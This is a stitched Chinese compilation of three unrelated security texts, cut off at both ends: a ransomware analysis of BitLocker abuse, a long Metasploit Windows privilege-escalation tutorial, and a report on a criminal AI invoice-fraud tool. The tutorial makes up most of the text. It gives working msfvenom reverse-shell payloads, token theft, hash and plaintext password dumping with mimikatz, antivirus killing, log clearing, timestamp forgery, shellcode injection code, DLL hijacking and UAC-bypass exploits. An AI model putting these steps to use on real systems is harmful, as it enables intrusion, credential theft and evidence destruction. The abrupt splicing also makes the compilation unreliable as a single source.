攻击者使用域名trycloudflare.com来混淆其真实地址。该域名是合法的,属于CloudFlare,用于为开发人员提供快速隧道。攻击者配置的子域名是scottish-agreement-laundry-further。 创建请求 该恶意软件还将有关机器和生成的密码的信息作为 POST 请求的有效负载,如下图所示。 POST 请求中要发送的信息 该脚本还包含一个循环,如果发生错误,则会尝试将信息发送给攻击者五次。 重试程序 通过一些调整,我们能够打印发送给攻击者的数据,如下图所示。请注意,数据包括计算机名称、Windows 版本、受影响的驱动器和密码字符串。因此,受害者的 IP 地址也将记录在攻击者的服务器上,从而允许他们跟踪每个受害者。 要发送的信息 删除 BitLocker 保护器并配置驱动器加密后,脚本将执行以下步骤来掩盖其踪迹。它会验证主机名是否是此恶意软件的目标,然后删除文件: ·\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml ·\scripts\Login.vbs ·\scripts\Disk.vbs ·C:\ProgramData\Microsoft\Windows\Templates\Disk.vbs 删除操作 然后,该脚本使用 wevtutil 清除 Windows PowerShell 和 Microsoft-Windows-PowerShell/Operational 日志。 它会打开系统防火墙并删除其所有规则,还会删除 VolumeInit 和 VolumeCheck 任务,最后,恶意软件会执行强制关机。 关机后,受害者将看到 BitLocker 屏幕。如果用户尝试使用恢复选项,他们将看不到任何内容,只会看到一条消息:“您的 PC 上没有其他 BitLocker 恢复选项”。 BitLocker 恢复屏幕 策略、技术和程序 分析显示,该威胁者对 VBScript 语言以及 Windows 内部和实用程序(例如 WMI、diskpart 和 bcdboot)有深入的了解。以下是针对此场景确定的 TTP。 文物和数字取证 由于脚本执行的本地活动包括清理其痕迹、清除一些日志和为执行而创建的任务,以及最后加密整个驱动器,因此获取取证证据来识别恶意活动并找到解密的机会并不容易。 幸运的是,部分脚本内容和执行的命令已被第三方服务注册并记录,并被收集起来进行分析。这使我们能够从部分受影响的系统中获取加密密钥转换后的安全字符串。 已获取安全字符串 在其他地方,我们尝试收集存储对 C2 的 POST 请求的网络日志。但是,Web 活动日志的最常见配置包括 GET,但不包括 POST 请求。 最终获得了 POST 请求。该案例提供了记录 POST 流量的理由,并确保所有关键系统活动都转发到中央存储库,该存储库有足够的空间来存储建议保留期(六个月或更长时间)的数据,以避免在攻击者从各个系统中删除所有痕迹后丢失证据。 最后,客户基础设施中的一些系统仍未加密,最初被认为未受到影响。然而,后来发现它们确实受到了影响,但这些系统中没有配置 BitLocker。这使我们能够获取脚本本身,分析其行为并收集进一步的证据。 恢复 虽然我们可以获得威胁者为创建加密密钥而实施的一些密码和固定值,但脚本包含一些变量值,并且每个受影响的系统都不同,这使得解密过程变得困难。 收集用于种子的网络信息 缓解措施 鼓励公司使用 BitLocker 或其他加密工具(例如 VeraCrypt)来保护公司机密。但是,必须采取一些预防措施,以避免攻击者滥用。 ·使用强健、配置正确的 EPP 解决方案来检测试图滥用 BitLocker 的威胁; ·实施托管检测和响应 (MDR) 来主动扫描威胁; ·如果启用了 BitLocker,请确保使用强密码并将恢复密钥存储在安全的位置; ·确保用户只有最小权限。这样,他们就无法自行启用加密功能或更改注册表项; ·启用网络流量日志记录和监控。配置 GET 和 POST 请求的日志记录。如果发生感染,对攻击者域发出的请求可能包含密码或密钥; ·监控与 VBS 执行和 PowerShell 相关的事件,并将记录的脚本和命令保存到外部存储库,存储可能在本地删除的活动; ·经常进行备份、离线存储并测试它们。 结论 此次事件响应和恶意软件分析证明攻击者不断改进策略以逃避检测。在这次事件中,安全研究人员观察到攻击者滥用原生 BitLocker 功能,进行未经授权的数据加密。VBS 脚本表明参与此次攻击的恶意分子对 Windows 内部机制了如指掌。尽管脚本分析一点也不复杂,但这种威胁很难检测,因为可以轻松修改工件内部的唯一字符串以绕过 YARA 规则。因此,在这种情况下,最好的检测方法是行为分析,它将应用程序执行的不同操作关联起来以得出结论。 卡巴斯基产品检测到本文描述的威胁并得出以下结论: ·Trojan.VBS.SAgent.gen; ·Trojan-Ransom.VBS.BitLock.gen; ·Trojan.Win32.Generic。
  22. 0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe 这里我们为生成的木马指定了payload为: windows/meterpreter/reverse_tcp,反弹到的监听端地址为172.16.11.2,监听端口为4444,文件输出格式为exe并保存到路径/tmp/hack.exe 2.执行监听 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 172.16.11.2 show options 输入exploit命令开启我们配置的模块进行监听: 3.上传并执行木马 通过脚本木马上传并运行,此处假设我们通过一系列的渗透测试得到了目标机器的webshell。我们通过脚本木马的文件管理功能把我们上述生成的木马hack.exe上传成功,并且我们得知,该程序的绝对路径为: c:\www\hack.exe 接着,我们尝试通过脚本木马的命令执行功能运行我们上述上传的的木马, c://www//hack.exe/为避免字符转义,路径这里我们使用的是// 那么在执行之后,我们看到大型脚本木马显示为请稍后的状态,我们切换到之前监听的Metasploit命令行窗口,可以看到,目标机正在回连,且Meterpreter会话创建成功: 4. Meterpreter基础提权 Meterpreter是 Metasploit 框架中的一个杀手锏,通常作为漏洞溢出后的攻击在和使用, 攻击在和在出发漏洞后能够返回给我们一个控制通道. 接下来我们使用Meterpreter会话进行自动化提权操作,直接执行以下命令,MSF会自动选择合适的方式来提升当前权限: getsystem 如上返回则说明Meterpreter会话自动提权成功。 这个时候,如果我们此目标机属于某个域环境内,并且有域管理员运行的进程,我们就可以从一个指定的进程PID中窃取一个域管理员组令牌,做一些有意思的事(如:添加一个域账户,并把域账户添加到域管理员组中)。 在Meterpreter会话执行ps命令查看目标机当前进程: 假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584: 然后我们可以执行以下语句窃取该用户进程的令牌: steal_token 2584 这种方式一般被用于盗取域管理员的token,然后我们执行 getuid看一下会发现当前已经冒称SYSTEM用户成功: 既然已经是SYSTEM权限,接着我们尝试执行以下命令从SAM数据库中导出密码的哈希值: `注意`:在windows 2008 中,如果getsystem命令和hashdump命令抛出异常情况时,你需要迁移到一个以SYSTEM系统权限运行的进程中,我们后续介绍。 执行以下shell命令在一个Meterpreter会话界面中使用cmd shell: 此cmdshell当然是继承的Meterpreter会话的system权限,我们尝试在目标机器执行以下cmd命令添加一个账户test: net user test v5est0r /add net localgroup administrators test /add 随后我们利用Meterpreter会话打开目标机器远程桌面服务的3398端口(此模块根据实践测试仅支持windows 2003的主机): run getgui -e 最后我们新建一个终端窗口,执行以下命令调用rdesktop连接目标机器的远程桌面: rdesktop -u test -p v5est0r 172.16.12.2 -u:制定用户名 -p:指定密码 0x02 溢出漏洞模块提权 一般来说webshell对应的web服务的权限是很低的,一般都是user权限的,但也遇到过某些服务器执行后就直接是system最高权限。像这种情况一般直接加用户。如果权限较低,我们要把它提升到system权 - Windows最高权限,黑客一般通过提权的EXP程序进行提权,我们会在后续的实验里介绍。 当然,在MSF下调用溢出漏洞模块提权也是个好办法。 缓冲区溢出: 缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。更为严重的是,缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁。 1. 调用漏洞模块 首先,请参照上述Meterpreter自动提权部分的实验内容获得目标机器的一个可用的Meterpreter会话,接着我们在Meterpreter会话输入以下命令: background //把你当前的Meterpreter会话转为后台执行。 接着我们在MSF命令行执行以下命令搜索微软2015年的可用漏洞模块: search ms15 // 搜索关键字相关的漏洞 如下图,我们查到了许多漏洞模块: 我选择了MS15_051这个漏洞进行提权,执行以下命令: use exploit/windows/local/ms15_051_client_copy_image 然后我们需要为此活动模块指定为哪个session进行提权操作,我们执行以下命令指定服务session为1: set SESSION 1 // 设置会刚才我们后门连接的ID号 1,我们这里只有一个会话,直接连接1 2. 执行溢出 接着我们直接执行以下命令调用漏洞模块进行提权操作: exploit 根据返回信息我们可以看见没有创建新的session,并提醒当前已经被提升到了system权限。如果当前不是system权限,将会被提升到system的一个进程,并提供出进程pid.一般来说,即使提权成功,我们执行以下命令返回连接会话,但你getuid看下还是看见的还是原来的权限。 sessions -i 1 执行ps一下查看进程 根据刚才的提示找到上述提供的PID的进程,我们这里就随意找了一个SYSTEM权限进行的进程,PID为3240 然后我们要用到migrate命令,将当前会话进程迁移到一个指定的进程ID migrate 3240 如上图可见,进程迁移成功。 然后我们再执行getuid看下可以看见当前为system权限了。 0x03 后续提权操作 1. 基本信息搜集 检测目标机是否为虚拟机。在Meterpreter会话执行以下命令即可: run post/windows/gather/checkvm #是否虚拟机,此处判断并不准确,模块代码仍需完善 通过meterpreter的killav脚本来杀死目标主机运行的杀毒软件,在Meterpreter会话执行以下命令即可: run killav 看来此模块仍需完善,此处杀掉的进程是cmd。不过有时候还是有用的。 获取安装软件信息,在Meterpreter会话执行以下命令即可: run post/windows/gather/enum_applications #获取安装软件信息 获取目标机器最近的文件操作,在Meterpreter会话执行以下命令即可: run post/windows/gather/dumplinks #获取最近的文件操作 2. hash与明文密码读取 获取目标机系统用户Hash,,在Meterpreter会话执行以下命令即可: run post/windows/gather/smart_hashdump Running module against TESTING Hashes will be saved to the database if one is connected. Hashes will be saved in loot in JtR password file format to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt Dumping password hashes... Running as SYSTEM extracting hashes from registry Obtaining the boot key... Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239... Obtaining the user list and keys... Decrypting user keys... Dumping password hints... [+] Croxy:"Whoareyou" Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0::: [+] test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d::: 如上我们获得了本地账户的hask,获取明文密码,我们需要先载入mimikatz模块,在Meterpreter会话执行以下命令即可: load mimikatz 然后需要确保当前进程为系统权限,直接执行以下命令: msv 如上图,返回了以下信息: [+] Running as SYSTEM Retrieving msv credentials 上述返回信息表明当前进程是`SYSTEM`权限. 然后执行以下命令即可导出系统用户明文密码: kerberos 如下图,成功导出了明文密码,test用户密文为v5est0r: 执行以下命令通过mimikatz命令行方式导出系统用户hash: meterpreter > mimikatz_command -f samdump::hashes 执行以下命令通过`mimikatz`命令行方式导出系统用户的明文密码: mimikatz_command -f sekurlsa::searchPasswords 3. 清理痕迹 直接执行以下命令: clearev 可以看到如下返回: meterpreter > clearev 可以看到该模块正在从应用、系统、安全模块三个方面清理历史记录痕迹。 其实MSF还提供了timestomp功能模块还修改文件时间,但实战测试中意义并不大,我们在这里只做科普: meterpreter >timestomp c:\\www -c "09/09/1980 12:12:34" 修改文件创建时间 meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34" 修改文件修改时间 meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 讲文件RHDSetup.log属性复制到jzking121 实际测试使用偶尔有报错,可以登入服务器手工改文件时间。 0x04 AlwaysInstallElevated提权 1.生成MSI安装文件 假设我们拿到Meterpreter会话后并没能通过一些常规方式取得SYSTEM权限,AlwaysInstallElevated提权可能会为我们带来一点希望。 AlwaysInstallElevated是微软允许非授权用户以SYSTEM权限运行安装文件(MSI)的一种设置。然而,给予用于这种权利会存在一定的安全隐患,因为如果这样做下面两个注册表的值会被置为"1": [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] "AlwaysInstallElevated"=dword:00000001 想查询这两个键值最简单的方法就是使用CMD命令,我们先在Meterpreter会话下执行shell切换`cmdshell: 在cmdshell下分别执行以下命令可以查询上述的注册表键值: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 我们这里的查询是报错的。 注意:如果这条命令出错类似于:The system was unable to find the specified registry key or value或者:错误: 系统找不到指定的注册表项或值。 这可能是组策略里AlwaysInstallElevated没有被定义,因此不存在相关联的注册表项。 现在我们假设AlwaysInstallElevated已经启用了,我们可以利用msfvenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件: msfvenom -p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi //此处指定了添加的用户,用户名为msi,密码为:P@ssword123! 如上图返回,MSI文件已经成功生成到了/tmp/add.msi 2.执行MSI文件提权 接着我们把该安装文件上传到目标机的c:\\add.msi: 执行以下命令即可: upload /tmp/add.msi c:\\add.msi 当我们在目标机器上成功上传了新生成的MSI文件后,我们可以使用Windows命令行Msiexec工具进行安装(需要先执行shell命令切换`cmdshell): shell msiexec /quiet /qn /i c:\add.msi msiexec相关参数解释如下: /quiet:安装过程中禁止向用户发送消息 /qn:不使用GUI /i:安装程序 执行后,我们可以在目标机器上检测我们新创建的管理员用户,cmdshell下执行以下命令查看管理组用户列表: net localgroup administrators 如上,我们很幸运的发现,msi用户名存在于管理组列表 注意:使用msvenom创建MSI文件时使用了always_install_elevated模块,那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。 接着执行以下命令登录目标机器的远程桌面服务: rdesktop -u msi -p P@ssword123! 172.16.12.2 如果目标机没有开启远程桌面服务,可以再cmdshell下执行以下命令以开启: wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 0x05 利用MS16-016进行meterprter提权 在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的!我们先用msfvenom生成一个EXE的木马后门。 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe 到MSF根据刚才配置的木马后门进行监听... 再把木马上传到服务器(受害者)的机器里,必须上传到可读可写的目录下哦, 比如这里我吧abc.exe上传到了C:\users\leak\desktop\目录下,abc.exe就是我刚才生成的后门。 然后执行我们的后门,可以看见MSF弹回了一个session 1(会话连接)。 说明我们后门程序成功执行起来了,当然你也可以在webshell执行的, 但必须的有一点执行的权限哦。 getuid //可以看见我们的权限很低的,一般都是user权限的, 但也遇到过某些服务器执行后就直接是system最高权限。像这种我们就直接加用户啦。这里我们是user权限,我们要把它提升到system权限。Windows最高权限。 接着我们输入命令: background //把你当前的metasploit shell转为后台执行。 search ms16 // 搜索关键字相关的漏洞 use exploit/windows/local/ms16_016_webdav // 选择MS16-016漏洞在进行提权 show options //查看漏洞里边要设置的参数,可以看见只有一个SESSION参数要设置 set SESSION 1 // 设置会刚才我们后门连接的ID号 1 exploit //执行提权... 可以看见成功的吧漏洞利用到了PID为692的进程中,虽然提权成功了,但getuid下还是看见的是user权限 ps一下查看进程 根据刚才的提示找到PID 692的进程,可以看见确实是system权限,所以我们还要用到migrate 命令迁移到一个指定的进程ID migrate 692 //在getuid下可以看见为system权限提权成功了 既然有了system权限 那我们在添加账号hack,添加为管理员组 用Nmap扫下并没有开启远程登陆3389 run getgui -e //开启目标主机3389 貌似这条MSF命令只对2003的系统有效执行几次都没成功 ,所以就用cmd命令开了3389端口 0x06 利用uac进行mterprter提权 1.背景 UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。 2.提权过程概述 首先我们找到目标程序,查找其动态加载的dll文件然后将其替换掉,插入我们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用我们的dll文件,并执行我们的shellcode代码。同时为了防止程序崩掉导致我们的代码退出,采用注入的方式保证shellcode的稳定执行。在此过程中,如果目标程序请求UAC权限,对于用户来说这是一个正常的安装文件,一旦通过UAC验证,相应我们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序需要加载的,并且当前目录又不存在的需要联网下载的dll文件,我们只需要在该目录下放一个同名dll文件即可。 3.实验环境 1.Kali Debian7: Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP连接。最好安装一个Mingw-w64用于编译c代码。 2.windows7 x64: 主要的目标测试环境 3.Procmon.exe Procmon是微软出的一款强大的Windows监视工具,不但可以监视进程/线程,还可以监控到文件系统,注册表的变化等 4.install_flashplayer15x32_mssd_aaa_aih: 这里我们以flashplayer安装文件作为目标文件,版本为15x32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到 4.详细提权过程 (1)查找可劫持的dll文件 首先我们在win7系统下先打开procmon监控软件,清除一下日志信息,然后运行我们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行过后会弹出UAC选项,需要用户确认授权。 这里我们点“是”,然后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就可以关掉了,因为我们只需要看该软件包都加载了哪些dll文件。 看下Procmon.exe记录所有行为 信息量太大,我们需要过滤出有用的信息。 首先是只看我们目标进程的信息,添加过滤规则:Process Name is install_flashplayer15x32_mssd_aaa_aih,然后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则: Path contains dllhijack 并且该加载dll不存在,需要联网从服务器下载,最后再添加一个过滤规则: Result is NAME NOT FOUND 三个过滤规则如下所示: 经过三个规则过滤后,留下的信息就很明显了,如下图所示: 上边所列的dll文件都是会尝试加载,并且找不到,会联网进行下载的dll文件,因此,我们的目标就是劫持这些dll文件,也不需要替换,直接将我们的dll文件放在安装包同目录即可,这也是为什么选择这个安装程序测试的原因。如果选择其他安装包测试的,最好也是选择这种联网安装类型的,所有文件都从服务器拉取,如果安装程序没有对这些从服务器拉取的文件进行效验,就能够被劫持。 (2)编写exploit 找到劫持了dll文件后,我们进入Debian系统用msf生成shellcode,这里我们选择反弹tcp的shellcode,需要知道服务器ip地址和监听端口,这里也选择Debian系统作为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行如下命令生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c 为了防止程序挂掉或者退出导致shellcode也跟着退出,采用注入的方式,将shellcode注入rundll32.exe进程,然后连接远程端口。服务器监听该端口,一旦有请求就建立会话连接,注入关键代码: if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL; GetThreadContext(pi.hThread, &ctx); ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0); #ifdef _WIN64 ctx.Rip = (DWORD64)ep; #else ctx.Eip = (DWORD)ep; #endif SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } 最后将程序编译,这里编译直接在Debian系统下用Mingw-w64编译,命令入下: root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared root@idhyt:~/maldemo# file template.dll template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows 将编译好的template.dll拷贝到win7系统中备用。 debian系统设置服务器并监听9000端口,所有命令如下: (3)提权 将编译的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目录下,从我们监控到的可劫持dll文件中选择一个,这里我选择dhcpcsv6.dll。将我们的dll文件改名为dhcpcsvc6.dll,其他dll文件可自行尝试。之后重新运行安装包,弹出UAC选项后点“是”。之后我们在debian系统的服务端会看到我们已经监听到了这个端口,看下会话信息: 查看下当前uid,然后执行getsystem命令权限: 0x07 利用MS16-075提权 1.渗透环境 对某站进行一次渗透测试.拿到shell之后呢,权限蛮小的.但是可以执行一些命令.systeminfo瞅了瞅补丁列表,丢到exp查询看了下,发现可以利用烂土豆提权成功,别的都利用失败了。这里就记录下烂土豆的用法. 靶机:windows server 2008 IIS7.5 外网kali 利用工具:caidao+msf+rottenpotato.exe(MS16-075) 提权辅助查询:传送门 菜刀来看下权限: 2.生成木马,建立meterpreter会话 并不是system权限,这里我们要利用到msf,先生成一个木马,来获取sessions 生成了一个test.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=120.*.*.* LPORT=12344 -f exe > ./test.exe 这时候要用到菜刀或者大马: 菜刀>>上传>>执行>>test.exe 可能这时候有人会问我.都可以执行exe,直接上远控马不就行了么.我试过上远控马是不能上线的.(没测试低权限远控马),执行之后msf返回了一个seeions 3.窃取令牌,模仿令牌 (1)MS16-075(烂土豆): https://github.com/foxglovesec/RottenPotato 用法: use incognito //这个模块是用来窃取令牌,模仿令牌的.令牌相当于cookie. windows中有两种令牌,一中是Delegation Token,是交互式登录(比如登录进去系统或者通过远程桌面连接到系统)创建的.另一种是Impersonmate Token(模仿令牌),它是为非交互式会话创建的 (2)列出当前令牌: list_tokens -u 把rottenpotato.exe利用菜刀传上来.(比较懒重名名为rp.exe) 执行exp: execute -cH -f ./rp.exe 0x08 RottenPotato(烂土豆)+Metasploit提权 1.当前环境 靶机:Windows Server 2012 R2 64位虚拟机,运行IIS8.0,IP地址 192.168.1.16 ,aspx的Webshell,权限是"nt authority\network service",web目录可写可执行,无杀软。 攻击机:win7. 工具:metasploit,rottenpotato.exe(烂土豆),菜刀 2.靶机执行bind.exe,建立meterpreter会话 怎么建立meterpreter就不详细说了,这里我是msfvenom生成bind_tcp,菜刀执行之。 即使显示fail了,可是你netstat 看一下的话,还是已经监听了4444端口,这就表示成功了: 使用multi handler: msf>use exploit/multi/handler 设置payload: msf>set payload windows/x64/meterpreter/bind_tcp 设置目标主机: set rhost 192.168.1.16 然后run运行获得meterpreter会话: 3.使用RottenPotato 窃取system 令牌并模仿 1.先getuid看看自己的当前id,可以看到只是network服务 2.然后加载窃取令牌模块: use incognito //这个模块是用来窃取令牌、模仿令牌的。令牌就相当于Cookie。Windows中有两种令牌,一种是Delegation Token,是为交互式登录(比如登录进系统或者通过远程桌面连接到系统)创建的。另一种是Impersonmate Token(模仿令牌),它是为非交互式会话创建的。 3.列出当前令牌: list_tokens -u //可以看到当前有一个“代表令牌”,是自己的NT AUTHORITY\NETWORK SERVICE,没有模仿令牌。 4.菜刀上传rottenpotato(这里我为了少打两个字把它重命名为rp.exe): 5.进入自己放EXP的目录, 执行EXP:execute -cH -f ./rp.exe 6.再list_tokens看一下, 可以看到当前是有了一个SYSTEM权限的 模仿令牌 7.执行偷取窃取令牌命令: impersonate_token "NT AUTHORITY\\SYSTEM" 注意这里反斜线是两个。第一次执行提示没找到这个用户令牌。这个原因我估计是令牌失效了,就跟Cookie失效一样。所以再执行一次EXP,然后按↑键重复impersonate_token几次命令。可以看到第二次是成功模仿了用户"NT AUTHORITY\\SYSTEM"。 8.getuid看下自己的当前用户ID,可以看到是SYSTEM 。使用shell命令获得一个交互式cmd shell,whoami看看呢,也是成功了。 4.EXP原理浅析 RottenPotato(烂土豆)提权的原理可以简述如下: 1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。 2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。 3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。 所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。 烂土豆比热土豆的优点是: 1.100%可靠 2.(当时)全版本通杀。 3.立即生效,不用像hot potato那样有时候需要等Windows更新才能使用。 总之,我对这个的理解是通过中间人攻击,将COM(NT\\SYSTEM权限)在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。 0x09 metasploit下Windows的多种提权方法 1.环境要求 攻击机:kali linux 目标机:Win 7 在已经获取到一个meterpreter shell后,假如session为1,且权限不是系统权限的前提下,使用以下列出的几种提权方法: 2.绕过UAC进行提权 本方法主要有以下3个模块。 上面这些模块的详细信息在metasploit里已有介绍,这里不再多说,主要说一下使用方法。以exploit/windows/local/bypassuac模块为例 该模块在windows 32位和64位下都有效。 msf > use exploit/windows/local/bypassuac msf exploit(bypassuac) > set session 1 msf exploit(bypassuac) > exploit 本模块执行成功后将会返回一个新的meterpreter shell,如下 模块执行成功后,执行getuid发现还是普通权限,不要失望,继续执行getsystem,再次查看权限,成功绕过UAC,且已经是系统权限了。 其他两个模块用法和上面一样,原理有所不同,执行成功后都会返回一个新的meterpreter shell,且都需要执行getsystem获取系统权限。如下图: exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_vbs 3.提高程序运行级别(runas) 这种方法可以利用exploit/windows/local/ask模块,但是该模块实际上只是以高权限重启一个返回式shellcode,并没有绕过UAC,会触发系统UAC,受害机器有提示,提示用户是否要运行,如果用户选择“yes”,就可以程序返回一个高权限meterpreter shell(需要执行getsystem)。如下: 在受害机器上会弹出UAC,提示用户是否运行。如下: 4.利用windows提权漏洞进行提权 可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。 msf > exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) > set session 1 msf exploit(ms14_058_track_popup_menu) > exploit 用windows提权漏洞提权时,会直接返回高权限meterpreter shell,不需要再执行getsystem命令。 需要说明的是:在实际测试时,如果出现目标机器确实有漏洞,但是提权没有成功时,请确认你的TARGET和PAYLOAD是否设置正确,64位的系统最好用64位的PAYLOAD。 <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
  23. 有安全研究机构发现了一个名为“GXC Team”的网络犯罪团伙,该团伙专门制作用于网上银行盗窃、电子商务欺诈和网络诈骗的工具。2023 年 11 月,该团伙的头目以“googleXcoder”的别名在暗网上发布了多条公告,宣布在暗网上出售的产品最高可享受 20% 的折扣。 这些帖子中向大家介绍了一种新工具,该工具结合了人工智能 (AI),可用于创建用于电信欺诈和商业电子邮件欺诈 (BEC) 的虚假发票。 据报告,成功的商业电子邮件欺诈 (BEC) 诈骗(例如发票欺诈)平均每起事件可造成超过 12 万美元的损失,给企业造成了超过 24 亿美元的惊人财务损失。 毫无疑问,网络犯罪分子已经认识到人工智能在增强和扩展其业务方面的巨大潜力。但人工智能为他们提供了哪些具体优势? 利用大型语言模型 (LLM) 的人工智能驱动平台(如 FraudGPT 和 WormGPT)的出现改变了游戏规则。这些框架可以创建复杂而精密的商业电子邮件入侵 (BEC) 活动,生成用于洗钱计划的垃圾邮件内容,并提供预制的恶意策略和工具。 就在 2024 年开始之前,即 12 月 30 日,他们推出了其 AI 工具的更新版本,名为“Business Invoice Swapper”。 此次更新已通过“GXC 团队”的官方 Telegram 频道发布。该工具以租赁方式提供,订阅计划起价为每周 2,000 美元,或者一次性支付 15,000 美元即可无限制使用。 要使该工具发挥作用,操作员必须输入要扫描的受感染电子邮件帐户列表。这涉及在文档中指定凭证以及用于“交换”或欺骗过程的 IBAN 和 BIC 代码。值得注意的是,大多数已识别的受害者帐户主要来自英国和各个欧盟国家,包括但不限于西班牙、法国、波兰、意大利、德国、瑞士等。 该工具采用专有检测算法,通过 POP3/IMAP4 协议仔细检查受感染的电子邮件,识别提及发票或包含付款详细信息附件的邮件。检测到后,它会将预期收件人(如受害者的供应商)的银行信息更改为犯罪者指定的详细信息。然后,更改后的发票要么替换原始邮件,要么发送给预定的联系人列表。这些方法通常用于电信欺诈和众所周知的虚假发票诈骗。 通常,受害公司的会计和员工不会彻底检查看似熟悉或几乎真实的发票,从而导致有未经核实的付款出现。该工具的多语言功能允许自动扫描消息而无需任何人工干预,提供了显著的优势和规模。在这种情况下,该工具的创建者有效地利用人工智能来完成一项专门的任务——识别包含付款详细信息的发票。此外,该工具还配备了多语言支持,使其能够处理和理解各种语言的数据,这是处理以不同语言编写的发票的关键功能。 此前,“GXC 团队”因创建各种在线欺诈工具而声名狼藉,这些工具包括从受感染的支付数据检查器到复杂的网络钓鱼和短信钓鱼工具包。他们被认为是这一非法领域的主谋,为网络犯罪分子提供一套现成的工具,旨在欺骗全球消费者。此外,他们还提供持续的更新和技术支持以进行欺诈。 目前,“GXC 团队”开发的工具能够针对 300 多个实体,包括顶级金融机构、政府服务、邮政服务、加密货币平台、支付网络和主要国际在线市场,包括 AMEX、亚马逊、币安、Coinbase、Office 365(微软)、PayPal、ING、德意志银行、邮政银行、DKB AG(Das kann Bank)、BBBank eG(前身为 Badische Beamtenbank)和多家西班牙银行,具体包括 ABANCA、Banca March、Banco de Sabadell、Grupo Caja Rural、Unicaja Banco SA、Caixa Enginyers、Banco Mediolanum、Laboral Kutxa、Eurocaja Dynamic、BBVA 